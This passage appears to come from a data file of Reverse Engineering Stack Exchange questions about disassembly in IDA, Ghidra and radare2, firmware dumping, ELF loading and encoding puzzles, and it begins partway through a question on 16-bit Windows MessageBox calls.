cseg15:2FE2                 push    0               ; HWND
+cseg15:2FE4                 les     bx, dword_10C1F8
+cseg15:2FE8                 add     bx, es:[bx+9Eh]
+cseg15:2FED                 push    es
+cseg15:2FEE                 push    bx              ; LPCSTR
+cseg15:2FEF                 push    seg cseg02
+cseg15:2FF2                 push    offset byte_9EC8 ; LPCSTR
+cseg15:2FF5                 push    1010h           ; UINT
+cseg15:2FF8                 call    MESSAGEBOX
+
+ +MessageBox #4 & 5 + +
cseg47:297E                 push    bp
+cseg47:297F                 mov     bp, sp
+cseg47:2981                 push    di
+cseg47:2982                 push    si
+cseg47:2983                 mov     di, [bp+6]
+cseg47:2986                 mov     es, word ptr [bp+8]
+cseg47:2989                 push    word ptr es:[di]
+cseg47:298C                 push    word ptr es:[di+4]
+cseg47:2990                 push    word ptr es:[di+2]
+cseg47:2994                 push    word ptr es:[di+8]
+cseg47:2998                 push    word ptr es:[di+6]
+cseg47:299C                 push    word ptr es:[di+0Ah]
+cseg47:29A0                 call    MESSAGEBOX
+cseg47:29A5                 mov     si, ax
+cseg47:29A7                 or      si, ax
+cseg47:29A9                 jnz     short loc_B517F
+cseg47:29AB                 mov     es, word ptr [bp+8]
+cseg47:29AE                 and     word ptr es:[di+0Ah], 0CF0Fh
+cseg47:29B4                 push    word ptr es:[di]
+cseg47:29B7                 push    word ptr es:[di+4]
+cseg47:29BB                 push    word ptr es:[di+2]
+cseg47:29BF                 push    word ptr es:[di+8]
+cseg47:29C3                 push    word ptr es:[di+6]
+cseg47:29C7                 or      word ptr es:[di+0Ah], 1010h
+cseg47:29CD                 push    word ptr es:[di+0Ah]
+cseg47:29D1                 call    MESSAGEBOX
+
+ +I couldn't work out which messagebox was displaying the message, so I replaced them all with int 3, this allowed me to break into the CodeView debugger. From this I worked out relevant MESSAGEBOX code displaying error was: + +
cseg47:297E                 push    bp
+cseg47:297F                 mov     bp, sp
+cseg47:2981                 push    di
+cseg47:2982                 push    si
+cseg47:2983                 mov     di, [bp+6]
+cseg47:2986                 mov     es, word ptr [bp+8]
+cseg47:2989                 push    word ptr es:[di]
+cseg47:298C                 push    word ptr es:[di+4]
+cseg47:2990                 push    word ptr es:[di+2]
+cseg47:2994                 push    word ptr es:[di+8]
+cseg47:2998                 push    word ptr es:[di+6]
+cseg47:299C                 push    word ptr es:[di+0Ah]
+cseg47:29A0                 call    MESSAGEBOX
+
+ +However there was no xref to this section of code, the only reference I could find to this location was these push statements: + +
loc_B51AB:
+mov     ax, [bp+arg_6]
+mov     dx, [bp+arg_8]
+mov     [bp+var_A], ax
+mov     [bp+var_8], dx
+mov     ax, [bp+arg_2]
+mov     dx, [bp+arg_4]
+mov     [bp+var_6], ax
+mov     [bp+var_4], dx
+mov     ax, [bp+arg_0]
+mov     [bp+var_2], ax
+push    seg cseg47
+push    297Eh
+lea     ax, [bp+var_C]
+push    ss
+push    ax
+push    ss
+push    ax
+call    sub_B4F7C
+leave
+retf    0Ch
+sub_B5188 endp
+
+ +What code set up the message box string here, and is there a way by knowing the details in resource DLL what assembly I should look for when then string is loaded. +" +['hardware']," Title: Dumping and reprogramming the firmware of DarenWavesBody: I have the following blue color lamp that can move, play music and do a few other things. + +I'm quite sure it has a Firmware and it's reprogrammable. I'm looking for guidance on where should I look for it and how to do it. Here is a picture of the mainboard. + + +The chips on the board are:
+IC 1 says:
+74HC4051D
+?85HYC06D
+?UnG1336L
+Probably an 8 Channel Analog Multiplexer
+
+IC 2 says:
+8002B
+CG0920F
+Probably Audio Power Amplifier
+
+And IC 3 which don't have any writing on it. This one seems like the MCU. + +Does anyone see a UART, JTAG or SPI on the board and could guide me on how to find and connect to it? + +Backside pictures: + +" +"['ida', 'android']"," Title: IDA taking forever to run autoanalysis on remote Android app?Body: I've disassembled and run auto-analysis on a .so file from an Android apk, and then hooked up the remote ARM debugger to an emulator. IDA then asked me if /data/app/com.package.name/lib/arm/libil2cpp.so is the same file as libil2cpp.so on my computer, which it is so I said yes. It took a few minutes to ""move database"", ""move functions"", etc. and now it's taking hours to perform auto-analysis all over again on the mapped files. + +Is there any way to speed this up, and will it happen every time I start a remote debugging session? + +Follow-up question: I learned that this is caused by IDA rebasing the program every time. Why can't it just use offsets from the start of the program and avoid rerunning the static analysis? +" +"['static-analysis', 'strings']"," Title: How to find who use these strings?Body: When i see function like this, im getting confused, because all the strings i need in this function, but how can i find which functions which this strings? +how can i know the address of the function that using one of these string from the list? thx for helping + + +" +"['ida', 'memory', 'embedded']"," Title: Building micro controller memory image in IDABody: I have STM32F303 Nucleo board (Datasheet), and I work with Mbed IDE, which allows me to compile code to the board. The compiled code is in .bin format. + +

Some relevant information from the datasheet:

+ + + +I want to load in IDA the .bin file, and map the ROM and RAM sections according to the memory map. + +I tried many different configurations in the memory organization form, but couldn't find the one that represents the actual memory. The default form as IDA recognizes it: + + + +From what I understand, the size of the bin file is 0x632c, which includes both the RAM and ROM. Any ideas of how can I make the cut between the two sections? And when I do, what is the right way to fill it in the memory form? +" +"['ida', 'binary-analysis', 'register', 'address']"," Title: Confused about address being referencedBody:
lea     ebp, dword_403638
+lea     ebx, [ebp-4]
+mov     edi, ss:[ebx]
+
+ +I understand the first instruction setting ebp to the address of the byte sequence. What I don't understand is what ebx will then be set to. And since ebx is being treated as an address on the stack, will edi refer to an address as well + +
dword_403638    dd 0
+
+" +['ida']," Title: Why won't IDA let me name this variable?Body: I went to stack view and named it counter, and now it appears at the top of my function, although it didn't until I named it. + + +The name didn't propagate over to the program, as you can see in the mov instruction in this block. + + +" +"['ida', 'windows']"," Title: Find Target to Call Dword Ptr in 16-bit Windows with IDA ProBody: Looking for suggestions on steps that could be used to identify what code would get executed at call dword ptr es:[bx+0Ch] from static analysis. + +
cseg04:3044 loc_105D4:                              ; CODE XREF: cseg04:2F10↑j
+    cseg04:3044                 push    0
+    cseg04:3046                 push    34h ; '4'
+    cseg04:3048                 les     bx, ppMalloc
+    cseg04:304C                 push    es
+    cseg04:304D                 push    bx
+    cseg04:304E                 les     bx, es:[bx]
+    cseg04:3051                 call    dword ptr es:[bx+0Ch]
+    cseg04:3055                 add     sp, 8
+    cseg04:3058                 mov     si, ax
+    cseg04:305A                 mov     [bp-6], dx
+    cseg04:305D                 or      dx, ax
+    cseg04:305F                 jnz     short loc_105F8
+
+ +ppMalloc section: + +
eg70:3612 ppMalloc        dd 0                    ; DATA XREF: cseg04:3048↑r
+dseg70:3612                                         ; sub_145C0+24↑r ...
+dseg70:3616 ; ATOM word_10CA26
+dseg70:3616 word_10CA26     dw 0                    ; DATA XREF: sub_4637E:loc_463B1↑r
+dseg70:3616                                         ; sub_4637E+3A↑r ...
+dseg70:3618 word_10CA28     dw 0                    ; DATA XREF: sub_CE2A+1↑o
+dseg70:3618                                         ; cseg03:2F9C↑o ...
+dseg70:361A                 db    0
+dseg70:361B                 db    0
+dseg70:361C                 db    0
+dseg70:361D                 db    0
+dseg70:361E                 db    0
+dseg70:361F                 db    0
+dseg70:3620                 db    0
+dseg70:3621                 db    0
+dseg70:3622                 db    0
+dseg70:3623                 db    0
+dseg70:3624                 db    0
+dseg70:3625                 db    0
+dseg70:3626 unk_10CA36      db    0                 ; DATA XREF: sub_CE2A+A↑o
+dseg70:3626                                         ; cseg03:2F93↑o ...
+dseg70:3627                 db    0
+dseg70:3628                 db    0
+dseg70:3629                 db    0
+dseg70:362A                 db    0
+dseg70:362B                 db    0
+dseg70:362C                 db    0
+dseg70:362D                 db    0
+dseg70:362E                 db    0
+dseg70:362F                 db    0
+dseg70:3630                 db    0
+dseg70:3631                 db    0
+dseg70:3632                 dw 0
+
+" +"['assembly', 'ollydbg', 'malware', 'c++', 'ghidra']"," Title: Cyber security student wanting to start learning reverse engineeringBody: I'm really interested in learning reverse engineering. Especially in regards to malware. Any help is much appreciated + +What should I learn before I start to learn reverse engineering? + +Is learning C/C++ a MUST? + +Should I learn Assembly language? + +If I know nothing about reverse engineering, is Ghidra a good tool to learn with or should I become familiar with IDA and OllyDbg first? + +Any good sources/tutorials in particular that you recommend? +" +"['android', 'unpacking', 'java']"," Title: Obfuscated Config Files: EHI Files for HTTP InjectorBody: So I have an ehi file, which is a configuration file for an Android App called HTTP Injector. +Of course when I try to see it as a simple text, I just get random characters. +What tool could I use to start trying to decrypt it? +I don't even know how to start and if someone could point time what type of encryption or obfuscation method was used I would be hugely grateful. + +Here is a ehi file for demonstration: https://transfer.sh/91tbh/1_4999527475131187330.ehi + +Thank you so much, and if my question is not accepted, please delete it. +" +"['windows', 'windbg']"," Title: What does -c mean in this Windbg Command Syntax?Body:
kd> u win32k!impPsIsThreadTerminating+0xe4-c L5
+    |   \              \                \  \   \
+   /     \              \                \  \   \
+  /       \              \                \  \   \
+disassemble\              \                \  \   \
+        ModuleName      SymbolName      Offset \   \
+                                              ???   \ 
+                                                   ObjectCount
+
+ +So How to intepret -c ? +" +"['ida', 'windows', 'dll']"," Title: Exported DLL function has only stdcall with some offsetBody: I am quite new to reverse engineering. I have opened .dll (x86) in IDA Pro and I have noticed few exported functions. The issue is that all of them looks like this: + + + +IDA pseudocode: + +
int __stdcall GameLauncher_StartGameW(int a1, int a2, int a3, int a4, int a5, int a6, int a7)
+{
+  return (*(int (__stdcall **)(int, int, int, int, int, int))(*(_DWORD *)a1 + 8))(a2, a3, a4, a5, a6, a7);
+}
+
+ +If I understand this correctly I need to get a1 object (eax) to actually get the function that I want to reverse engineer. Am I right? Is there any easy way to get this object to get the function offset? +" +"['static-analysis', 'python', '.net']"," Title: Parse / statically analyzing .NET binaries using pythonBody: Which libraries do you use to parse and statically analyze .NET binaries? + +Is there a python module, or do I have to use a .NET library such as dnlib? Does it make sense to write a python wrapper for it, e.g. using pythonnet? +" +"['decompilation', 'java']"," Title: Are there any Java decompilers accurate enough that if I recompiled the result, it should be identical to the original program?Body: I am trying to decompile Minecraft, to see if I can analyze the code to make a few small changes, but I need a decompiler good enough so I can recompile it in a way that will work. I have tried multiple decompilers online like javadecompilers.com. However, they don't work well for a variety of reasons, like they either throw errors, or the code does not look like original code, like all the variable names are replaced with snowman emojis or \u+5 digit number, for example, \u26032. As for the snowman emojis, the java compiler won't be able to do distinguish different variables and cause name clashes. and for the \u numbers, the compiler might complain about stray \ in the program or something. Are there any easy to use compilers that work on Linux that are as accurate as possible, so accurate that decompiled code could be directly recompiled without having to fix the thousands of decompilation flaws? +" +"['ghidra', 'control-flow-graph']"," Title: Save Ghidra's control flow graph into a parsable formatBody: I'm working on reverse engineering a firmware which I was able to get its functions control flow graphs to display successfully on Ghidra. I am trying to see if there is a way to save those control flow graphs as a text file or something parse able so that I can write a parser for it and use it in my program (I want to recreate the graph programmatically to train my program to detect certain functions). Thank you! +" +"['disassembly', 'mips', 'ghidra']"," Title: Any reason why Ghidra is screwing with this byte in this dissassembly?Body: I am poking around some PS2 ELFs and I found this weird issue where Ghidra seems to be doubling the value of this byte for some reason. + +Here's what Ghidra shows: + +
                             undefined Money_get()
+             undefined         v0_lo:1        <RETURN>
+                             Money_get                    XREF[1]:   Entry Point(*)
+001bcb90 ec 00 01 3c     lui        at,0xec
+001bcb94 98 00 03 3c     lui        v1,0x98
+001bcb98 e8 aa 25 8c     lw         a1,-0x5518(at)=>DAT_00ebaae8
+
+ +And what IDA shows: + +
main:001BCB90 Money_get:                          # CODE XREF: plmove_find_02+178↑p
+main:001BCB90                                     # Item_get+70↑p
+main:001BCB90                 lui     $at, 0x76
+main:001BCB94                 lui     $v1, 0x98
+main:001BCB98                 lw      $a1, 0x7657A8
+
+ +What IDA shows is the correct disassembly. The first line is supposed to be + +
lui $at, 0x76  
+
+ +But for some reason Ghidra has doubled the 0x76 to 0xEC. And because of that the address loaded in the 3rd line is incorrect. I've double checked that the input files are identical and I know IDA is the correct one because the gameshark code for this particular game modifies that address. + +I even confirmed in a hex editor that the byte should be 0x76 but in Ghidra's own hex output it shows it as 0xEC. So during input it's doubling it for some reason. + +So any reason why Ghidra is doing this? I tried reloading the file and analyzing as a generic MIPS (thinking it was the PS2 ELF loader I used) and it did the same thing. + +So I did some more testing and when I strip off the ELF header and load the file as a raw binary then Ghidra loads it correctly. So I wonder what in the ELF header would cause Ghidra to modify that byte? +" +"['ida', 'firmware', 'idapython', 'segmentation']"," Title: Split IDA segment into sub segmentsBody: I'm reversing a firmware, that comes in one big binary chunk(.bin file). + +After some reversing, I could identify that the big bin has two segments - text and data. Now I want to split the original segment into those two segments. + +For example: + +Original file segments: + +
Name   start   end
+ROM    0x0     0x21bd
+
+ +One big segment containing all the code and data. + +Desired result segments: + +
 Name  start   end
+.text  0x0     0x11bd 
+.data  0xc000  0xd000
+
+ +I want to split the one big segment into two nonadjusted segments, like this. +the .data section should hold the bytes from the original ROM section. In other words, 0x11bd - 0x21bd from the original ROM section should be copied to +0xc000 - 0xd000 of the new data section. + +Any ideas how can I achieve this? +" +"['disassembly', 'binary-analysis', 'linux', 'radare2', 'elf']"," Title: What is actually loaded here and different hexdump outputs on util-linux hexdump and on cutter and ghidra's hexdumpBody: I was trying to understand what segment of file gets loaded by fourth LOAD header on phdr array. + First 6 headers are shown below from readelf + +
 Program Headers:
+  Type           Offset             VirtAddr           PhysAddr
+                 FileSiz            MemSiz              Flags  Align
+  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
+                 0x0000000000000268 0x0000000000000268  R      0x8
+  INTERP         0x00000000000002a8 0x00000000000002a8 0x00000000000002a8
+                 0x000000000000001c 0x000000000000001c  R      0x1
+      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
+  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 //file portion till .text
+                 0x00000000000006c0 0x00000000000006c0  R      0x1000
+  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000 //.text
+                 0x00000000000003c5 0x00000000000003c5  R E    0x1000
+  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000 //.rodata,.eh_frame_hdr,.eh_frame
+                 0x0000000000000170 0x0000000000000170  R      0x1000
+  LOAD           0x0000000000002de8 0x0000000000003de8 0x0000000000003de8
+                 0x0000000000000270 0x00000000000002d8  RW     0x1000
+
+
+ +that memory range between offset and filesiz is completely absent in ghidra and cutter disassembly and is filled with ""ff"" and is shown as invalid in cutter hexdump. +however, when I use hexdump on my terminal, it is not filled with 'ff' as shown by cutter + +
00002df0  e0 10 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|
+00002e00  01 00 00 00 00 00 00 00  0c 00 00 00 00 00 00 00  |................|
+00002e10  00 10 00 00 00 00 00 00  0d 00 00 00 00 00 00 00  |................|
+00002e20  d8 11 00 00 00 00 00 00  19 00 00 00 00 00 00 00  |................|
+00002e30  e8 3d 00 00 00 00 00 00  1b 00 00 00 00 00 00 00  |.=..............|
+00002e40  08 00 00 00 00 00 00 00  1a 00 00 00 00 00 00 00  |................|
+00002e50  f0 3d 00 00 00 00 00 00  1c 00 00 00 00 00 00 00  |.=..............|
+00002e60  08 00 00 00 00 00 00 00  f5 fe ff 6f 00 00 00 00  |...........o....|
+00002e70  08 03 00 00 00 00 00 00  05 00 00 00 00 00 00 00  |................|
+00002e80  d0 03 00 00 00 00 00 00  06 00 00 00 00 00 00 00  |................|
+00002e90  28 03 00 00 00 00 00 00  0a 00 00 00 00 00 00 00  |(...............|
+00002ea0  84 00 00 00 00 00 00 00  0b 00 00 00 00 00 00 00  |................|
+00002eb0  18 00 00 00 00 00 00 00  15 00 00 00 00 00 00 00  |................|
+00002ec0  00 00 00 00 00 00 00 00  03 00 00 00 00 00 00 00  |................|
+00002ed0  00 40 00 00 00 00 00 00  02 00 00 00 00 00 00 00  |.@..............|
+00002ee0  18 00 00 00 00 00 00 00  14 00 00 00 00 00 00 00  |................|
+00002ef0  07 00 00 00 00 00 00 00  17 00 00 00 00 00 00 00  |................|
+00002f00  48 05 00 00 00 00 00 00  07 00 00 00 00 00 00 00  |H...............|
+00002f10  88 04 00 00 00 00 00 00  08 00 00 00 00 00 00 00  |................|
+00002f20  c0 00 00 00 00 00 00 00  09 00 00 00 00 00 00 00  |................|
+00002f30  18 00 00 00 00 00 00 00  fb ff ff 6f 00 00 00 00  |...........o....|
+
+-->disassembly from cutter
+            0x00002de8      invalid
+            0x00002de9      invalid
+            0x00002dea      invalid
+            0x00002deb      invalid
+            0x00002dec      invalid
+            0x00002ded      invalid
+            :and this continues till 0x00003de7
+
+ +why the difference? +what is actually getting loaded by the fourth LOAD ? + +The program I'm disassembling is a simple hello world program + +
#include<stdio.h>
+int main()
+{
+    printf(""hello"");
+}
+
+ +compiled with +gcc version 9.1.0 (GCC) +" +"['disassembly', 'windows', 'debugging', 'functions', 'frida']"," Title: Dump value of register using fridaBody: I'm new with frida and came to this problem. + +I have dll that I want to reverse engeneer(there are no debug symbols). Specifically I want to dump some data from a function. So I have this big function and here is the fragment of it: + + + +Here you can see that some string(pf4) is moved to edx, but more important thing comes after that. You can see that sub_575FD30 +function is called couple of times. + +The most interesting thing for me is the eax register after the call. So what I want to do is to dump value of eax after the call of this function. + +I can't consider dumping something from sub_575FD30 function because that function is called from many other places and I specifically want to dump eax after calling it in this specific example. + +My question is how can I acheive it using frida? Should I hardcode the instruction address(address of push eax) and get value of eax? Is it the correct way or is there some better way to achieve it? Any direction of how to achieve it and script example would be appriciated. +" +"['encryption', 'encodings', 'strings']"," Title: How to identify the encoding performed on this stringBody: I have an old application that stores the username and password in plaintext but encoded by an unknown encoding algorithm to me, it seams like base64, but I think it's not, +It seams that any word longer than 22 or 23 is truncated, but unfortunately there's some odd examples that changes the last character + +
for example:
+
+Input: ABCDEFGHIJKLMNOPQRSTUV
+Output: //DeparF3/jFcmVGBf5LcmNHYqJBmw
+
+Input: ABCDEFGHIJKLMNOPQRSTUVWXYZ
+Output: //DeparF3/jFcmVGBf5LcmNHYqJBmw
+
+Input: ABCDEFGHIJKLMNOPQRSTUV1
+Output: //DeparF3/jFcmVGBf5LcmNHYqJBm2
+
+Input: ABCDEFGHIJKLMNOPQRSTUV123456
+Output: //DeparF3/jFcmVGBf5LcmNHYqJBm2
+
+Input: 1234567890123456789012
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w
+
+Input: 12345678901234567890123
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2
+
+Input: 123456789012345678901234
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2
+
+Input: 1234567890123456789012a
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z
+
+Input: 1234567890123456789012ab
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z
+
+Input: 1234567890123456789012c
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z
+
+Input: 1234567890123456789012F
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/x
+
+Input: 1234567890123456789012V
+Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w
+
+Input: 1A2B3C4D5E6F7G8H9I0J1K
+Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhg
+
+Input: 1A2B3C4D5E6F7G8H9I0J1K2
+Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhm
+
+Input: 1A2B3C4D5E6F7G8H9I0J1K3
+Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhm
+
+Input: 1A2B3C4D5E6F7G8H9I0J1KL
+Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhh
+
+Input: 1A2B3C4D5E6F7G8H9I0J1KM
+Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhh
+
+Input: A1B2C3D4E5F6G7H8I9J0KL
+Output: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgQ
+
+Input: A1B2C3D4E5F6G7H8I9J0KLM
+Output: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgR
+
+Input: A1B2C3D4E5F6G7H8I9J0KL7
+Output: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgW
+
+Input: abcABC123/+321++1GWZVV
+Output: 39D+oK3AqYK/FwU5eoEvCQNSZqxCmw
+
+Input: abcABC123/+321++1GWZVV1
+Output: 39D+oK3AqYK/FwU5eoEvCQNSZqxCm2
+
+Input: lkjsd2093jljsdLJSDl12A
+Output: 0tn3kouxqIm/UkJgO9RIaGFRXccmjA
+
+Input: lkjsd2093jljsdLJSDl123
+Output: 0tn3kouxqIm/UkJgO9RIaGFRXccm/g
+
+Input: lkjsd2093jljsdLJSDl1234
+Output: 0tn3kouxqIm/UkJgO9RIaGFRXccm/m
+
+Input: aaaaaaaaaaaaaaaaaaaaaa
+Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rA
+
+Input: aaaaaaaaaaaaaaaaaaaaaaa
+Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rD
+
+Input: aaaaaaaaaaaaaaaaaaaaaa1
+Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rG
+
+Input: aaaaaaaaaaaaaaaaaaaaaaF
+Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rB
+
+Input: 1111111111111111111111
+Output: j4Os0N6yqYG9CR87eYE1EwMkAMcl/A
+
+Input: 11111111111111111111111
+Output: j4Os0N6yqYG9CR87eYE1EwMkAMcl/G
+
+Input: a
+Output: 3w==
+
+Input: c
+Output: 3Q==
+
+Input: ab
+Output: 39A=
+
+Input: abc
+Output: 39D+
+
+Input: abcd
+Output: 39D+hQ==
+
+Input: abcde
+Output: 39D+hYo=
+
+Input: abcdef
+Output: 39D+hYrl
+
+Input: abcdefg
+Output: 39D+hYrl/w==
+
+Input: abcdefgh
+Output: 39D+hYrl/9g=
+
+Input: 123
+Output: j4Cu
+
+Input: 1234
+Output: j4Cu1Q==
+
+Input: 12345
+Output: j4Cu1do=
+
+Input: 123456
+Output: j4Cu1dq1
+
+ +Any idea? +Thanks! +" +"['ida', 'disassembly']"," Title: Change IDA pro dissassembly to linear sweepBody: I would like to know if there is any way to modify the algorithm used in IDA pro. I have a binary where I suspect that junk isn't junk, and I would like to see what output would a linear disassembly do, but I could not find any option in IDA Pro to change that. Does it even exist? Thanks ! +" +"['disassembly', 'debugging', 'radare2']"," Title: write radare2 output to a fileBody: I am trying to write all the write logs of a binary program into a file for further analysis. I am using radare2 for it. I don't know what's the issue, I am not able to write the 'dte' output to a file. It prints on the console but doesn't write to a file even after redirection. 'dtd' is working fine and writing to the file. Here in the below code log2.txt comes up empty. + +
import r2pipe
+
+r = r2pipe.open('simpleAES', flags=['-d'])
+r.cmd('aei')
+r.cmd('dc')
+r.cmd('e dbg.trace=1')
+r.cmd('des 100') 
+
+output1 = r.cmd('dtd')
+output2 = r.cmd('dte')
+
+f = open(""log1.txt"", ""w"")
+f.write(output1)
+f.close()
+
+f = open(""log2.txt"", ""w"")
+f.write(output2)
+f.close()
+
+ +I am using a simple C code for analysis and using raise(SIGINT); for setting breakpoint in the C program. Do you have any idea how I can write the 'dte' output to a file. + +Code that I am debugging: + +
#include <signal.h>
+#include<stdio.h>
+int main (void)
+{
+    printf(""loop started"");
+    raise(SIGINT);
+    int i = 0;
+    for (i = 0; i < 10; ++i) {
+      printf(""Hello "");
+    }
+    printf(""loop completed"");
+    return 0;
+}
+
+" +"['anti-debugging', 'virtualizers', 'vmprotect', 'vms']"," Title: How to virtualize part of a code like VMProtect does?Body: I am a new student in the field of cybersecurity. + +I would like to learn more about how virtualization used by software such as CodeVirtualizer and VMProtect works, and ideally to be able to virtualize part of my code in VB.NET. However, I do not understand how they operate, and I find it hard to find resources about it. So, I ask myself the following questions: + + + +It may be difficult to answer every detail of each of my questions; I imagine that the domain is complex. Nevertheless, if some elements of answers could be brought, it would help me a lot to better understand :) +" +['x86']," Title: Find the call function of a stringBody: On a 16bit real mode x86 program I can locate a string that is displayed on screen. How do I go about finding all the places this string is called from to trace back the ""print"" function? +" +"['ida', 'idapython']"," Title: IDAPython Export All Addresses Called by Specific CallBody: The following call gets executed many times and jumps to many subroutines. + +
call    [rbp+var_s38]
+
+ +What do I need to write in the breakline condition to export all the locations it jumps to? + +
import idautils
+f = open('C:\\Users\\vmware\\Desktop\\locations.txt', 'a+')
+f.write(str(some_idautils_function))
+f.close()
+
+" +"['serial-communication', 'mips', 'jtag']"," Title: What is an ""mpi register base""?Body: For the past few months, I have been using my spare time reverse engineering a set top box that will not be named. I am trying to run a media server or use it as a debian desktop. It is rocking a Broadcom BCM7410, which has little to no documentation as it was custom made for the company that builds the device. Right now I have found the serial header and have been communicating with it, it has CFE installed on it, but I can not abort the startup due to the integrated watchdog. Recently, via a datasheet for a similar chip in the same family,I was able to follow the traces on the bottom of the board, and find a very well hidden EJTAG solder points in a 14 pin formation (mentioned in the Linux MIPS wiki: https://www.linux-mips.org/wiki/JTAG). I found a piece of software that is compatible with a JTAG programmer I picked up designed to de-brick routers. It does seem to support the BCM7401, again which is in the same family, but the software will reject any chip that is not defined in the software, I was looking to add my device, but it requires something known as a ""mpi register base"". I could only think of it as meaning the Message Passing Interface base register, but I can't find any information on it. My question is, what does it mean and where/how can I find it? Thanks! + +Link to required information in code: https://github.com/zoobab/zjtag/blob/master/zjtag.c#L285 + +Link to device list: https://github.com/zoobab/zjtag/blob/master/zjtag.c#L304 +" +"['flash', 'firmware-analysis']"," Title: SqashFS 3.0 file system has 40 ""random"" bytes of 0xFF in itBody: I'm looking at a firmware dump from a NAND flash chip and comparing it against another similar firmware dump I have. I am able to open one of them to see the root folder structure, however the other I cannot. + +The one I cannot has these ""random"" 40 bytes of 0xFF strung in, which I think isn't allowing me to extract the filesystem from. I believe the root folder structure should be similar, if not the same as the other firmware dump I CAN open. + +Is this a case of non-standard compression? How should I go about opening up these file systems? + +I can upload the firmware, but they are 128MB each so kind of large files. + +Here's a beyond compare between the two. The unknown on the left: https://imgur.com/dfEtGEI +" +"['binary-analysis', 'c']"," Title: Static analysisBody: I am working on a class project. I need to find out static features of a program (without executing it). + +
    +
  1. Backward branches (loops)
  2. +
  3. Conditional branches (potential threads with load imbalance)
  4. +
  5. Interrupts (indicates synchronization, or IO, ...)
  6. +
+ +How can I find this. Any help would be highly appreciated. +" +['decompress']," Title: Recreated LZMA differs from the original after 332 bytesBody: Recently I decompressed an LZMA file from a VxWorks filesystem which was recognized and decompressed by the LZMA SDK with parameters lc = lp = 0, pb = 2 and dictionary size 8MB. When I recompressed it (without modification, using the same tools and parameters) the first 332 bytes of the output were identical to that of the the original compressed data, but starting from the 333rd byte I didn't find any nontrivial match. + +I could use any information regarding what the first 332 bytes could represent, why they are identical in both files while the rest are not, what parameters are most likely to be the culprit in this case or why my LZMA SDK would recreate a changed file when I used the same parameters for compression and decompression. What I want is to recreate the original LZMA exactly as it is, because I'm concerned that the firmware I got the original LZMA from might not recognize the recreated LZMA when I flash it back. + +Some information that may help: + + + +Let me know of any other relevant info that I should include. + +Thanks. +" +['ida']," Title: Bochs x86 16bit and IDA dissasemblyBody: I have been trying a figure out how to get Bochs to run an x86 embeded firmware rom so I can disassemble while emulating. When I start the debug in ida bochs just says ""wrong segmentation"". Loading in the bin strait into IDA causes a lot of sement and register assumpsions that are wrong. + +The issue is the first string of code pages in 512k of ram at 0x00 the sets sp. Then all segments are set to 0. From there it starts pointong to ds:offsets and calls but ida is not automatically joining the two and i have the manually write down the code pointed to and how the function interacts. After a few calls everything is so garbled i might as well be doing things on pen and paper. + +Is there any tutorials on using IDA for embeded dissasembly? Can Bochs even run non-pc hardware embeded firmwares? +" +"['disassembly', 'assembly', 'radare2', 'patch-reversing']"," Title: Change instruction test eax, eax to text eax, 1Body: I'm trying to change an instruction in assembly. Try with test eax, eax to test eax, 1. I try modify the opcodes. +For example opcode of test eax, eax: 85c0 + + +Try to understand why is 85c0 with this table: + + +85 comes from 'test', ok. But c0 from EB lb? I'm a little confused how to create that opcode and how to modify and get test eax, 1. + +Thanks, appreciate any help! +" +['assembly']," Title: How to determine target of far call in Windows 3 16-bit protected mode binaryBody: I'm attempting to patch an old 16-bit windows 3 new executable binary which is in protected mode. It's a simple setup executable. Additionally, I'm doing this disassembly on linux and I've used Semblance to disassemble the binary, and am confronted with the following code: + +
1:0f91 <no name>:
+  1:0f91:       33 ed                   xor     bp, bp
+  1:0f93:       55                      push    bp
+  1:0f94:       9a ff ff 00 00          call    KERNEL.91
+  1:0f99:       0b c0                   or      ax, ax
+  1:0f9b:       74 5b                   jz      0ff8
+  1:0f9d:       8c 06 fe 02             mov     [02FEh], es
+  1:0fa1:       81 c1 00 01             add     cx, 0100h
+  1:0fa5:       72 51                   jb      0ff8
+  1:0fa7:       89 0e d0 02             mov     [02D0h], cx
+  1:0fab:       89 36 d2 02             mov     [02D2h], si
+  1:0faf:       89 3e d4 02             mov     [02D4h], di
+  1:0fb3:       89 1e d6 02             mov     [02D6h], bx
+  1:0fb7:       8c 06 d8 02             mov     [02D8h], es
+  1:0fbb:       89 16 da 02             mov     [02DAh], dx
+  1:0fbf:       e8 3c 00                call    0ffe
+  1:0fc2:       e8 f9 01                call    11be
+  1:0fc5:       e8 84 03                call    134c
+  1:0fc8:       33 c0                   xor     ax, ax
+  1:0fca:       50                      push    ax
+  1:0fcb:       9a ff ff 00 00          call    KERNEL.30
+  1:0fd0:       ff 36 d4 02             push    word [02D4h]
+  1:0fd4:       9a ff ff 00 00          call    USER.5
+  1:0fd9:       0b c0                   or      ax, ax
+  1:0fdb:       74 1b                   jz      0ff8
+
+ +There are several call instructions and I've verified that the non-far call addresses are all there in the file. If you notice however, there are 3 far-calls here, but all have the same ptr16:16 argument! I'll reproduce them here: + +
  1:0f94:       9a ff ff 00 00          call    KERNEL.91
+  1:0fcb:       9a ff ff 00 00          call    KERNEL.30
+  1:0fd4:       9a ff ff 00 00          call    USER.5
+
